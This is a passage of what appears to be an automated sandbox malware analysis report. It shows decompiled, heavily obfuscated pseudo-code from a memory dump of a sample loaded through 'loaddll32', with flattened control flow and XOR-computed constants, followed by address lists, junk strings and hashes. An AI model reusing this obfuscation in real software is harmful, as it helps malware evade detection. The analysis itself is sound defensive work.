				_v1784 = 0x521829;
				_v1784 = _v1784 << 1;
				_v1784 = _v1784 + 0xacbd;
				_v1784 = _v1784 << 6;
				_v1784 = _v1784 ^ 0x293a9c24;
				_v1716 = 0xc7b82c;
				_v1716 = _v1716 + 0xffff8c04;
				_t591 = 0x1b;
				_v1716 = _v1716 / _t591;
				_v1716 = _v1716 ^ 0x000bbd6a;
				_v1760 = 0x5af613;
				_t592 = 0x17;
				_v1760 = _v1760 / _t592;
				_t593 = 0x21;
				_v1760 = _v1760 * 0x79;
				_v1760 = _v1760 / _t593;
				_v1760 = _v1760 ^ 0x0003755a;
				_v1596 = 0x2d708b;
				_v1596 = _v1596 / _t593;
				_v1596 = _v1596 ^ 0x000db37e;
				_v1652 = 0x2eec22;
				_v1652 = _v1652 ^ 0x1f6efaaa;
				_v1652 = _v1652 ^ 0x1f426099;
				_v1676 = 0x1bfaf9;
				_t594 = 0x2c;
				_v1676 = _v1676 / _t594;
				_v1676 = _v1676 + 0x7ed5;
				_v1676 = _v1676 ^ 0x00011204;
				_v1728 = 0x99722;
				_t595 = 0x67;
				_v1728 = _v1728 / _t595;
				_v1728 = _v1728 + 0xa9ed;
				_v1728 = _v1728 ^ 0x000402ee;
				_v1764 = 0x7dadba;
				_v1764 = _v1764 | 0x440aef97;
				_v1764 = _v1764 ^ 0xd3501f2d;
				_v1764 = _v1764 | 0xcb63fec0;
				_v1764 = _v1764 ^ 0xdf6c0598;
				_v1712 = 0xfd5299;
				_v1712 = _v1712 + 0x574d;
				_t596 = 0x68;
				_v1712 = _v1712 / _t596;
				_v1712 = _v1712 ^ 0x000799f4;
				_v1720 = 0xd5633b;
				_v1720 = _v1720 ^ 0xfb7d43ee;
				_v1720 = _v1720 + 0xffff47bd;
				_v1720 = _v1720 ^ 0xfba62c54;
				_v1608 = 0x3d3a3f;
				_v1608 = _v1608 << 0xf;
				_v1608 = _v1608 ^ 0x9d12823b;
				_v1740 = 0x980e3b;
				_v1740 = _v1740 + 0xffff1fe6;
				_v1740 = _v1740 * 0x6e;
				_v1740 = _v1740 << 0xa;
				_v1740 = _v1740 ^ 0xd74f139c;
				_v1748 = 0xf6a327;
				_v1748 = _v1748 | 0x24bb4535;
				_v1748 = _v1748 / _t660;
				_v1748 = _v1748 + 0xffffd901;
				_v1748 = _v1748 ^ 0x00a06448;
				_v1756 = 0x23281c;
				_v1756 = _v1756 << 0xd;
				_v1756 = _v1756 + 0x3ace;
				_v1756 = _v1756 + 0xffffbc66;
				_v1756 = _v1756 ^ 0x6508bae1;
				_v1680 = 0xefa5f3;
				_v1680 = _v1680 + 0xd649;
				_v1680 = _v1680 >> 4;
				_v1680 = _v1680 ^ 0x000b71c0;
				_v1688 = 0xd7d7d;
				_v1688 = _v1688 << 6;
				_v1688 = _v1688 ^ 0x39cce6e9;
				_v1688 = _v1688 ^ 0x3a96b3cf;
				_v1696 = 0xe8190a;
				_v1696 = _v1696 + 0xffff8bcc;
				_v1696 = _v1696 * 0x45;
				_v1696 = _v1696 ^ 0x3e6c45dc;
				_v1732 = 0xaf65ed;
				_v1732 = _v1732 >> 1;
				_v1732 = _v1732 << 6;
				_v1732 = _v1732 + 0x301f;
				_v1732 = _v1732 ^ 0x15ed60b7;
				_v1664 = 0xbf44dc;
				_v1664 = _v1664 | 0xed1757a9;
				_v1664 = _v1664 ^ 0xd2cd8926;
				_v1664 = _v1664 ^ 0x3f771003;
				_v1672 = 0xa3137e;
				_v1672 = _v1672 | 0x61a4f07f;
				_v1672 = _v1672 << 4;
				_v1672 = _v1672 ^ 0x1a745c42;
				_t661 = _v1584;
				while(1) {
					L1:
					_t556 = 0xd83910a;
					while(1) {
						L2:
						_t597 = 0xecce1ce;
						do {
							L3:
							while(_t663 != 0x2f38181) {
								if(_t663 == 0x396a438) {
									return E007B9038(_v1732, _v1664, _v1584, _v1672);
								}
								if(_t663 == 0x4a96617) {
									_t663 = 0x971ed5f;
									continue;
								}
								if(_t663 == 0x971ed5f) {
									_t560 = E007C27E2();
									__eflags = _t560 - E007A576B();
									_t556 = 0xd83910a;
									_t663 = 0x2f38181;
									_t661 =  !=  ? 0xd83910a : 0xf28d74f;
									L2:
									_t597 = 0xecce1ce;
									continue;
								}
								if(_t663 == 0xa7e2b43) {
									_push(_v1608);
									_push(0);
									_push( &_v1564);
									_push(_v1720);
									_push(_v1712);
									_push(_v1764);
									_push(0);
									_push( &_v1580);
									_t564 = E007C06EF(_v1728, __eflags);
									__eflags = _t564;
									if(_t564 == 0) {
										L26:
										return _t564;
									}
									E007B9038(_v1740, _v1748, _v1580, _v1756);
									return E007B9038(_v1680, _v1688, _v1576, _v1696);
								}
								if(_t663 == 0xd093482) {
									E007A24AA(_t597, _v1708, __eflags,  &_v1044, _v1744, _v1604, _v1660);
									_t570 = E007B0F17(_v1768, _v1752,  &_v1044, _v1636, _v1776);
									_t671 = _t668 + 0x1c;
									 *_t570 = 0;
									E007BCC3F(_v1588,  &_v524, __eflags, _v1684);
									 *_t671 = 0x7a11d0;
									E007C06A6(__eflags,  &_v1044, _v1668, E007C0AD3(_v1628, _v1800, __eflags), _v1592, _v1700,  &_v1564, _v1796);
									E007B2EED(_v1612, _v1600, _v1620, _t572);
									_t577 = E007C3306( &_v1564, _v1640, _v1648, _v1656, _t583, _v1788);
									_t668 = _t671 + 0x34;
									__eflags = _t577;
									if(__eflags == 0) {
										L12:
										_t663 = 0x396a438;
										while(1) {
											L1:
											_t556 = 0xd83910a;
											goto L2;
										}
									}
									_t556 = 0xd83910a;
									__eflags = _t661 - 0xd83910a;
									_t597 = 0xecce1ce;
									_t663 =  ==  ? 0xecce1ce : 0xa7e2b43;
									continue;
								}
								if(_t663 != _t597) {
									goto L21;
								}
								_push(_t597);
								_t579 = E007B473A( &_v1580, _v1792, _v1584, _v1692, _v1736,  &_v1564, _v1644, _v1704);
								_t668 = _t668 + 0x20;
								if(_t579 != 0) {
									E007B9038(_v1784, _v1716, _v1580, _v1760);
									E007B9038(_v1596, _v1652, _v1576, _v1676);
									_t668 = _t668 + 0x10;
								}
								goto L12;
							}
							__eflags = _t661 - _t556;
							if(_t661 != _t556) {
								_t663 = 0xd093482;
								goto L21;
							}
							_push(_t597);
							_push(_v1772);
							_t564 = E007A7D87(_v1624, _v1724,  &_v1584, _t597);
							_t668 = _t668 + 0x14;
							__eflags = _t564;
							if(__eflags == 0) {
								goto L26;
							}
							_t663 = 0xd093482;
							goto L1;
							L21:
							__eflags = _t663 - 0xdeb83c1;
						} while (__eflags != 0);
						return _t556;
					}
				}
			}

0x007a6c04
0x007a6c0e
0x007a6c19
0x007a6c24
0x007a6c2f
0x007a6c37
0x007a6c3f
0x007a6c47
0x007a6c4c
0x007a6c54
0x007a6c5f
0x007a6c67
0x007a6c72
0x007a6c8a
0x007a6c8f
0x007a6c91
0x007a6c98
0x007a6c9d
0x007a6ca8
0x007a6cb0
0x007a6cb5
0x007a6cbd
0x007a6cc5
0x007a6cd3
0x007a6cd8
0x007a6cdc
0x007a6ceb
0x007a6cec
0x007a6cf0
0x007a6cf8
0x007a6d00
0x007a6d05
0x007a6d0d
0x007a6d15
0x007a6d1d
0x007a6d25
0x007a6d32
0x007a6d36
0x007a6d3e
0x007a6d54
0x007a6d5b
0x007a6d66
0x007a6d71
0x007a6d7c
0x007a6d87
0x007a6d8f
0x007a6d97
0x007a6d9f
0x007a6da7
0x007a6daf
0x007a6db7
0x007a6dca
0x007a6dce
0x007a6dd6
0x007a6de1
0x007a6de9
0x007a6df4
0x007a6dfc
0x007a6e04
0x007a6e0e
0x007a6e16
0x007a6e1e
0x007a6e29
0x007a6e34
0x007a6e3f
0x007a6e4a
0x007a6e52
0x007a6e5d
0x007a6e68
0x007a6e73
0x007a6e7b
0x007a6e86
0x007a6e95
0x007a6e98
0x007a6e9c
0x007a6ea9
0x007a6ead
0x007a6eb5
0x007a6ec0
0x007a6ecb
0x007a6ed6
0x007a6ee1
0x007a6eec
0x007a6ef7
0x007a6f02
0x007a6f0a
0x007a6f12
0x007a6f1a
0x007a6f22
0x007a6f2a
0x007a6f2f
0x007a6f3c
0x007a6f40
0x007a6f48
0x007a6f53
0x007a6f5e
0x007a6f69
0x007a6f7f
0x007a6f86
0x007a6f91
0x007a6f9c
0x007a6fa4
0x007a6faf
0x007a6fc1
0x007a6fc4
0x007a6fcb
0x007a6fd6
0x007a6fe1
0x007a6fec
0x007a6ff7
0x007a7002
0x007a700d
0x007a7018
0x007a7020
0x007a702d
0x007a7031
0x007a7039
0x007a7041
0x007a7049
0x007a7051
0x007a7056
0x007a705e
0x007a7069
0x007a7074
0x007a707c
0x007a7087
0x007a708f
0x007a709f
0x007a70a4
0x007a70ae
0x007a70b3
0x007a70b7
0x007a70bf
0x007a70ca
0x007a70d5
0x007a70e0
0x007a70e8
0x007a70f0
0x007a70f4
0x007a70fc
0x007a7104
0x007a7108
0x007a7110
0x007a7115
0x007a711d
0x007a7125
0x007a7133
0x007a7138
0x007a713c
0x007a7144
0x007a7152
0x007a7157
0x007a7162
0x007a7165
0x007a7171
0x007a7175
0x007a717d
0x007a7193
0x007a719a
0x007a71a5
0x007a71b0
0x007a71bb
0x007a71c6
0x007a71d8
0x007a71dd
0x007a71e6
0x007a71f1
0x007a71fc
0x007a7208
0x007a720b
0x007a720f
0x007a7217
0x007a721f
0x007a7227
0x007a722f
0x007a7237
0x007a723f
0x007a7249
0x007a7256
0x007a7264
0x007a7269
0x007a726d
0x007a7275
0x007a727d
0x007a7285
0x007a728d
0x007a7295
0x007a72a0
0x007a72a8
0x007a72b3
0x007a72bb
0x007a72c8
0x007a72cc
0x007a72d1
0x007a72d9
0x007a72e1
0x007a72ef
0x007a72f3
0x007a72fb
0x007a7303
0x007a730b
0x007a7310
0x007a7318
0x007a7320
0x007a7328
0x007a7333
0x007a733e
0x007a7346
0x007a7351
0x007a735c
0x007a7364
0x007a736f
0x007a737a
0x007a7382
0x007a738f
0x007a7393
0x007a739b
0x007a73a3
0x007a73a7
0x007a73ac
0x007a73b4
0x007a73bc
0x007a73c7
0x007a73d2
0x007a73dd
0x007a73e8
0x007a73f3
0x007a73fe
0x007a7406
0x007a7411
0x007a7418
0x007a7418
0x007a7418
0x007a741d
0x007a741d
0x007a741d
0x007a7422
0x00000000
0x007a7422
0x007a7430
0x00000000
0x007a772d
0x007a743c
0x007a763b
0x00000000
0x007a763b
0x007a7448
0x007a7616
0x007a7622
0x007a7629
0x007a762e
0x007a7633
0x007a741d
0x007a741d
0x00000000
0x007a741d
0x007a7454
0x007a7699
0x007a76a7
0x007a76a9
0x007a76aa
0x007a76b5
0x007a76b9
0x007a76c1
0x007a76c3
0x007a76c4
0x007a76cc
0x007a76ce
0x007a7738
0x007a7738
0x007a7738
0x007a76e3
0x00000000
0x007a7709
0x007a7460
0x007a750c
0x007a752c
0x007a7531
0x007a753d
0x007a754e
0x007a755e
0x007a759e
0x007a75bc
0x007a75e2
0x007a75e7
0x007a75ea
0x007a75ec
0x007a74e7
0x007a74e7
0x007a7418
0x007a7418
0x007a7418
0x00000000
0x007a7418
0x007a7418
0x007a75f2
0x007a75fc
0x007a75fe
0x007a7603
0x00000000
0x007a7603
0x007a7468
0x00000000
0x00000000
0x007a746e
0x007a749f
0x007a74a4
0x007a74a9
0x007a74be
0x007a74df
0x007a74e4
0x007a74e4
0x00000000
0x007a74a9
0x007a7645
0x007a7647
0x007a7683
0x00000000
0x007a7683
0x007a7649
0x007a764a
0x007a7669
0x007a766e
0x007a7671
0x007a7673
0x00000000
0x00000000
0x007a7679
0x00000000
0x007a7688
0x007a7688
0x007a7688
0x00000000
0x007a7422
0x007a741d

Strings

?:=, xrefs: 007A7295
$, xrefs: 007A70CA
by, xrefs: 007A6D1D
MW, xrefs: 007A7256
k8?N, xrefs: 007A6F40
"., xrefs: 007A71A5
}}, xrefs: 007A7351
_q, xrefs: 007A7442
C+~, xrefs: 007A744E
'CP, xrefs: 007A6CF8
}?r, xrefs: 007A6FF7
_q, xrefs: 007A763B
/ow, xrefs: 007A70E0
C+~, xrefs: 007A75F7

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: ".$'CP$/ow$?:=$C+~$C+~$MW$_q$_q$by$k8?N$}?r$}}$$
API String ID: 0-1854710511
Opcode ID: 15fdd9f09d769238175f205c81f9da8240c8c268144d96e795a9a57bc1761767
Instruction ID: 7bbfa6a27014e1bcbe449bec5738f1337dfb77040025f9a2ee8cf2e6e86c520e
Opcode Fuzzy Hash: 15fdd9f09d769238175f205c81f9da8240c8c268144d96e795a9a57bc1761767
Instruction Fuzzy Hash: 9042FEB150C381DBE778CF65C94AB9BBBE2BBC5304F10891DE29996260D7B58909CF43

Uniqueness

Uniqueness Score: -1.00%

Function 007B3ABE, Relevance: 17.9, Strings: 14, Instructions: 354
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E007B3ABE() {
				char _v520;
				char _v1040;
				char _v1560;
				signed int _v1564;
				signed int _v1568;
				signed int _v1572;
				signed int _v1576;
				signed int _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				unsigned int _v1672;
				signed int _v1676;
				signed int _v1680;
				signed int _v1684;
				signed int _v1688;
				signed int _v1692;
				signed int _v1696;
				signed int _v1700;
				signed int _v1704;
				signed int _v1708;
				signed int _v1712;
				signed int _v1716;
				signed int _v1720;
				void* _t366;
				signed int _t384;
				void* _t385;
				void* _t413;
				signed int _t422;
				intOrPtr* _t424;
				signed int _t425;
				signed int _t426;
				signed int _t427;
				signed int _t428;
				signed int _t429;
				signed int _t430;
				signed int _t431;
				signed int _t432;
				signed int _t434;
				signed int* _t435;
				void* _t437;

				_t435 =  &_v1720;
				_v1620 = 0x668385;
				_v1620 = _v1620 | 0x1e385418;
				_t385 = 0x69e6be1;
				_v1620 = _v1620 ^ 0x1e7ed7b4;
				_v1592 = 0xbd90f9;
				_v1592 = _v1592 ^ 0xbe5a7d98;
				_v1592 = _v1592 ^ 0xbee8ed5e;
				_v1568 = 0x3d8172;
				_t425 = 0x44;
				_v1568 = _v1568 / _t425;
				_v1568 = _v1568 ^ 0x0000e78e;
				_v1704 = 0x33329f;
				_t426 = 0x78;
				_v1576 = _v1576 & 0x00000000;
				_v1704 = _v1704 * 0x7a;
				_v1704 = _v1704 + 0x19e1;
				_v1704 = _v1704 << 2;
				_v1704 = _v1704 ^ 0x6198e69e;
				_v1700 = 0x4f7879;
				_v1700 = _v1700 ^ 0x068068af;
				_v1700 = _v1700 + 0xffffce8e;
				_v1700 = _v1700 / _t426;
				_v1700 = _v1700 ^ 0x000e8620;
				_v1708 = 0x211c1a;
				_v1708 = _v1708 + 0xf4aa;
				_v1708 = _v1708 ^ 0x94e44756;
				_v1708 = _v1708 << 0x10;
				_v1708 = _v1708 ^ 0x57920010;
				_v1636 = 0x4bfd4e;
				_v1636 = _v1636 + 0xffffda49;
				_v1636 = _v1636 << 0xa;
				_v1636 = _v1636 ^ 0x2f5a0b3c;
				_v1676 = 0xfcfb0f;
				_v1676 = _v1676 << 7;
				_v1676 = _v1676 >> 1;
				_v1676 = _v1676 ^ 0x3f3be9f2;
				_v1716 = 0xe94f3a;
				_v1716 = _v1716 + 0x398d;
				_t427 = 0x21;
				_v1716 = _v1716 / _t427;
				_t428 = 0x3d;
				_v1716 = _v1716 / _t428;
				_v1716 = _v1716 ^ 0x000241fc;
				_v1648 = 0xf37a20;
				_v1648 = _v1648 >> 0xf;
				_v1648 = _v1648 + 0xffff36a3;
				_v1648 = _v1648 ^ 0xfff985b4;
				_v1612 = 0xeb47bb;
				_v1612 = _v1612 >> 0xc;
				_v1612 = _v1612 ^ 0x000d65c2;
				_v1628 = 0xe61d50;
				_v1628 = _v1628 ^ 0xa9fbeeec;
				_v1628 = _v1628 | 0xe3d14da7;
				_v1628 = _v1628 ^ 0xebd6d513;
				_v1564 = 0xf3754;
				_v1564 = _v1564 << 0xd;
				_v1564 = _v1564 ^ 0xe6e10fa0;
				_v1672 = 0xc5ca9d;
				_v1672 = _v1672 + 0xffff8821;
				_v1672 = _v1672 >> 4;
				_v1672 = _v1672 ^ 0x000d1be5;
				_v1680 = 0xd5cdff;
				_v1680 = _v1680 + 0xffff8c76;
				_v1680 = _v1680 ^ 0x1718c905;
				_v1680 = _v1680 ^ 0x17c13aa7;
				_v1652 = 0x8270d6;
				_v1652 = _v1652 ^ 0x5839d95c;
				_v1652 = _v1652 << 0xf;
				_v1652 = _v1652 ^ 0xd4c474fb;
				_v1600 = 0x30b015;
				_v1600 = _v1600 << 9;
				_v1600 = _v1600 ^ 0x616fae71;
				_v1608 = 0xfce334;
				_t429 = 0x72;
				_v1608 = _v1608 / _t429;
				_v1608 = _v1608 ^ 0x000060cb;
				_v1616 = 0x11d4d7;
				_v1616 = _v1616 ^ 0x5fd5780f;
				_v1616 = _v1616 ^ 0x5fc8e652;
				_v1684 = 0xeae186;
				_v1684 = _v1684 + 0x6cbc;
				_v1684 = _v1684 << 9;
				_v1684 = _v1684 ^ 0xd691ca6c;
				_v1656 = 0xc19984;
				_v1656 = _v1656 + 0xed45;
				_v1656 = _v1656 + 0xffffc771;
				_v1656 = _v1656 ^ 0x00ce1f0e;
				_v1664 = 0x536949;
				_v1664 = _v1664 + 0xecba;
				_v1664 = _v1664 + 0xffffade4;
				_v1664 = _v1664 ^ 0x005726c6;
				_v1632 = 0xfb25c3;
				_v1632 = _v1632 ^ 0x0d3ffa7d;
				_v1632 = _v1632 | 0x8d26d07e;
				_v1632 = _v1632 ^ 0x8deecb7d;
				_v1640 = 0x964dcf;
				_v1640 = _v1640 ^ 0x9308e53b;
				_v1640 = _v1640 << 5;
				_v1640 = _v1640 ^ 0x73df8b4b;
				_v1696 = 0x1c5cfe;
				_t430 = 0x58;
				_v1696 = _v1696 / _t430;
				_v1696 = _v1696 << 0xb;
				_v1696 = _v1696 + 0x4083;
				_v1696 = _v1696 ^ 0x029255c4;
				_v1596 = 0x844d79;
				_t431 = 0x13;
				_v1596 = _v1596 / _t431;
				_v1596 = _v1596 ^ 0x000fd2a5;
				_v1712 = 0xaa53e9;
				_v1712 = _v1712 + 0x3fa;
				_v1712 = _v1712 << 0xd;
				_v1712 = _v1712 << 6;
				_v1712 = _v1712 ^ 0xbf135427;
				_v1660 = 0xae69d;
				_v1660 = _v1660 << 2;
				_v1660 = _v1660 + 0x7495;
				_v1660 = _v1660 ^ 0x00217c42;
				_v1644 = 0xb4b8b2;
				_t432 = 0x6d;
				_v1644 = _v1644 / _t432;
				_v1644 = _v1644 + 0x9ca2;
				_v1644 = _v1644 ^ 0x000f71e9;
				_v1720 = 0xeb9827;
				_v1720 = _v1720 ^ 0x1e223217;
				_v1720 = _v1720 + 0x18fd;
				_v1720 = _v1720 >> 2;
				_v1720 = _v1720 ^ 0x07b980eb;
				_v1692 = 0x11b265;
				_v1692 = _v1692 + 0xb6a4;
				_v1692 = _v1692 | 0x79b4443a;
				_v1692 = _v1692 >> 5;
				_v1692 = _v1692 ^ 0x03c68786;
				_v1604 = 0x89a26d;
				_v1604 = _v1604 + 0xffffbcd3;
				_v1604 = _v1604 ^ 0x008010cd;
				_v1588 = 0x82ceb0;
				_v1588 = _v1588 ^ 0xda580ff4;
				_v1588 = _v1588 ^ 0xdad52801;
				_v1688 = 0x8fa58e;
				_v1688 = _v1688 + 0xffffbc44;
				_v1688 = _v1688 + 0xcff1;
				_v1688 = _v1688 >> 0xf;
				_v1688 = _v1688 ^ 0x0005e60c;
				_v1572 = 0x2eab26;
				_v1572 = _v1572 | 0x36542239;
				_v1572 = _v1572 ^ 0x36742fed;
				_v1668 = 0x40cdab;
				_v1668 = _v1668 | 0x2a03d9d8;
				_v1668 = _v1668 << 0x10;
				_v1668 = _v1668 ^ 0xddf50159;
				_t434 = _v1576;
				_t384 = _v1576;
				_t422 = _v1576;
				_v1580 = 0x2cbee;
				_v1580 = _v1580 << 6;
				_v1580 = _v1580 ^ 0x00b1d723;
				_v1584 = 0x5c5bfd;
				_v1584 = _v1584 >> 5;
				_v1584 = _v1584 ^ 0x000d5e5b;
				_v1624 = 0x4ce735;
				_v1624 = _v1624 << 0xf;
				_v1624 = _v1624 + 0xffff05be;
				_v1624 = _v1624 ^ 0x7393a0f1;
				while(1) {
					L1:
					_t413 = 0x5c;
					do {
						while(1) {
							L2:
							_t437 = _t385 - 0x94d2245;
							if(_t437 > 0) {
								break;
							}
							if(_t437 == 0) {
								_t424 =  *0x7c5bd8 + 0x30;
								while(1) {
									__eflags =  *_t424 - _t413;
									if( *_t424 == _t413) {
										break;
									}
									_t424 = _t424 + 2;
									__eflags = _t424;
								}
								_t422 = _t424 + 2;
								_t385 = 0x95c790a;
								continue;
							} else {
								if(_t385 == 0x2370cca) {
									_t434 = E007BE606(_v1696, _t422, _t385, _v1704, _v1596, _v1712, _t385, _v1660, _v1644, _t385, _v1568, _t385, _v1720,  &_v520, _v1692, _v1708, _v1700, _t422, _t384, _t385, _v1604);
									_t435 =  &(_t435[0x13]);
									__eflags = _t434;
									if(_t434 == 0) {
										goto L10;
									} else {
										_t385 = 0xd3e2153;
										_v1576 = 1;
										while(1) {
											L1:
											_t413 = 0x5c;
											goto L2;
										}
									}
								} else {
									if(_t385 == 0x3b57a48) {
										E007A7CC1(_t384, _v1584, _v1624);
									} else {
										if(_t385 == 0x5337573) {
											E007A7CC1(_t434, _v1668, _v1580);
											L10:
											_t385 = 0x3b57a48;
											while(1) {
												L1:
												_t413 = 0x5c;
												goto L2;
											}
										} else {
											if(_t385 != 0x69e6be1) {
												goto L25;
											} else {
												_push(_t385);
												E007AE259(_v1636, _v1620, _v1676, _v1716, _t385, _t385,  &_v1560, _v1648, _v1612);
												_t435 =  &(_t435[8]);
												_t385 = 0xa1bcbfc;
												while(1) {
													L1:
													_t413 = 0x5c;
													goto L2;
												}
											}
										}
									}
								}
							}
							L28:
							return _v1576;
						}
						__eflags = _t385 - 0x95c790a;
						if(_t385 == 0x95c790a) {
							_t384 = E007C3231(_v1632, _v1592, _v1640);
							_t435 =  &(_t435[3]);
							__eflags = _t384;
							if(_t384 == 0) {
								_t385 = 0xde41895;
								_t413 = 0x5c;
								goto L25;
							} else {
								_t385 = 0x2370cca;
								goto L1;
							}
						} else {
							__eflags = _t385 - 0xa1bcbfc;
							if(__eflags == 0) {
								_push(0x7a144c);
								_t366 = E007C0AD3(_v1628, _v1564, __eflags);
								E007C2C16( &_v1040, __eflags);
								E007BB062( &_v520, __eflags,  *0x7c5bd8 + 0x238, _v1680, _v1652, _t366, _v1600, 0x104, _v1608,  *0x7c5bd8 + 0x30,  &_v1040,  &_v1560, _v1616);
								E007B2EED(_v1684, _v1656, _v1664, _t366);
								_t435 =  &(_t435[0xe]);
								_t385 = 0x94d2245;
								while(1) {
									L1:
									_t413 = 0x5c;
									goto L2;
								}
							} else {
								__eflags = _t385 - 0xd3e2153;
								if(_t385 != 0xd3e2153) {
									goto L25;
								} else {
									E007B3130(_t384, _t434, _v1688, _v1572);
									_t435 =  &(_t435[3]);
									_t385 = 0x5337573;
									while(1) {
										L1:
										_t413 = 0x5c;
										goto L2;
									}
								}
							}
						}
						goto L28;
						L25:
						__eflags = _t385 - 0xde41895;
					} while (_t385 != 0xde41895);
					goto L28;
				}
			}

0x007b3abe
0x007b3ac4
0x007b3ace
0x007b3ad6
0x007b3adb
0x007b3ae3
0x007b3aee
0x007b3af9
0x007b3b04
0x007b3b1c
0x007b3b21
0x007b3b2a
0x007b3b35
0x007b3b42
0x007b3b45
0x007b3b4d
0x007b3b51
0x007b3b59
0x007b3b5e
0x007b3b66
0x007b3b6e
0x007b3b76
0x007b3b86
0x007b3b8a
0x007b3b92
0x007b3b9a
0x007b3ba2
0x007b3baa
0x007b3baf
0x007b3bb7
0x007b3bbf
0x007b3bc7
0x007b3bcc
0x007b3bd4
0x007b3bdc
0x007b3be1
0x007b3be5
0x007b3bed
0x007b3bf5
0x007b3c01
0x007b3c06
0x007b3c10
0x007b3c13
0x007b3c17
0x007b3c1f
0x007b3c27
0x007b3c2c
0x007b3c34
0x007b3c3c
0x007b3c44
0x007b3c49
0x007b3c51
0x007b3c59
0x007b3c61
0x007b3c69
0x007b3c71
0x007b3c7c
0x007b3c84
0x007b3c8f
0x007b3c97
0x007b3c9f
0x007b3ca4
0x007b3cae
0x007b3cb6
0x007b3cbe
0x007b3cc6
0x007b3cce
0x007b3cd6
0x007b3cde
0x007b3ce3
0x007b3ceb
0x007b3cf6
0x007b3cfe
0x007b3d09
0x007b3d1d
0x007b3d22
0x007b3d2b
0x007b3d36
0x007b3d3e
0x007b3d46
0x007b3d4e
0x007b3d56
0x007b3d5e
0x007b3d63
0x007b3d6b
0x007b3d73
0x007b3d7b
0x007b3d83
0x007b3d8b
0x007b3d93
0x007b3d9b
0x007b3da3
0x007b3dab
0x007b3db3
0x007b3dbb
0x007b3dc3
0x007b3dcb
0x007b3dd3
0x007b3ddb
0x007b3de0
0x007b3de8
0x007b3df4
0x007b3df9
0x007b3dff
0x007b3e04
0x007b3e0c
0x007b3e14
0x007b3e26
0x007b3e2b
0x007b3e34
0x007b3e3f
0x007b3e47
0x007b3e4f
0x007b3e54
0x007b3e59
0x007b3e61
0x007b3e69
0x007b3e6e
0x007b3e76
0x007b3e7e
0x007b3e8a
0x007b3e8d
0x007b3e91
0x007b3e99
0x007b3ea1
0x007b3ea9
0x007b3eb1
0x007b3eb9
0x007b3ebe
0x007b3ec6
0x007b3ece
0x007b3ed6
0x007b3ede
0x007b3ee3
0x007b3eeb
0x007b3ef6
0x007b3f01
0x007b3f0c
0x007b3f17
0x007b3f22
0x007b3f2d
0x007b3f35
0x007b3f3d
0x007b3f45
0x007b3f4a
0x007b3f52
0x007b3f5d
0x007b3f68
0x007b3f73
0x007b3f7b
0x007b3f83
0x007b3f88
0x007b3f90
0x007b3f97
0x007b3f9e
0x007b3fa5
0x007b3fb0
0x007b3fb8
0x007b3fc3
0x007b3fce
0x007b3fd6
0x007b3fe1
0x007b3fe9
0x007b3fee
0x007b3ff6
0x007b3ffe
0x007b3ffe
0x007b4000
0x007b4001
0x007b4001
0x007b4001
0x007b4001
0x007b4007
0x00000000
0x00000000
0x007b400d
0x007b410c
0x007b4114
0x007b4114
0x007b4117
0x00000000
0x00000000
0x007b4111
0x007b4111
0x007b4111
0x007b4119
0x007b411c
0x00000000
0x007b4013
0x007b4019
0x007b40e8
0x007b40ea
0x007b40ed
0x007b40ef
0x00000000
0x007b40f1
0x007b40f1
0x007b40f6
0x007b3ffe
0x007b3ffe
0x007b4000
0x00000000
0x007b4000
0x007b3ffe
0x007b401b
0x007b4021
0x007b4250
0x007b4027
0x007b402d
0x007b4083
0x007b4089
0x007b4089
0x007b3ffe
0x007b3ffe
0x007b4000
0x00000000
0x007b4000
0x007b402f
0x007b4035
0x00000000
0x007b403b
0x007b403b
0x007b4067
0x007b406c
0x007b406f
0x007b3ffe
0x007b3ffe
0x007b4000
0x00000000
0x007b4000
0x007b3ffe
0x007b4035
0x007b402d
0x007b4021
0x007b4019
0x007b4256
0x007b4267
0x007b4267
0x007b4126
0x007b412c
0x007b421a
0x007b421c
0x007b421f
0x007b4221
0x007b422f
0x007b4234
0x00000000
0x007b4223
0x007b4223
0x00000000
0x007b4223
0x007b4132
0x007b4132
0x007b4138
0x007b4178
0x007b417d
0x007b418b
0x007b41df
0x007b41f4
0x007b41f9
0x007b41fc
0x007b3ffe
0x007b3ffe
0x007b4000
0x00000000
0x007b4000
0x007b413a
0x007b413a
0x007b4140
0x00000000
0x007b4146
0x007b415b
0x007b4160
0x007b4163
0x007b3ffe
0x007b3ffe
0x007b4000
0x00000000
0x007b4000
0x007b3ffe
0x007b4140
0x007b4138
0x00000000
0x007b4235
0x007b4235
0x007b4235
0x00000000
0x007b4241

Strings

E, xrefs: 007B3D73
S!>, xrefs: 007B413A
5L, xrefs: 007B3FE1
B|!, xrefs: 007B3E76
[^, xrefs: 007B3FD6
:O, xrefs: 007B3BED
y\, xrefs: 007B4126
/t6, xrefs: 007B3F68
E"M, xrefs: 007B41FC
S!>, xrefs: 007B40F1
IiS, xrefs: 007B3D8B
y\, xrefs: 007B411C
E"M, xrefs: 007B4001
yxO, xrefs: 007B3B66

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: y\$y\$5L$:O$B|!$E"M$E"M$E$IiS$S!>$S!>$[^$yxO$/t6
API String ID: 0-1388136749
Opcode ID: c5fe71022e2580931edfc6a58647dfaf70e769f8660e8b6fd5a51697401dec71
Instruction ID: af4a980de435fea64f1c188e41a3716b38245d16972e42169393fdc8a8c968fa
Opcode Fuzzy Hash: c5fe71022e2580931edfc6a58647dfaf70e769f8660e8b6fd5a51697401dec71
Instruction Fuzzy Hash: 500225B15083809FD3A4CF61C94AA9BBBE1FBD4358F10891DF2DA86261C7B58949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAA6D0, Relevance: 15.7, Strings: 11, Instructions: 1959COMMON

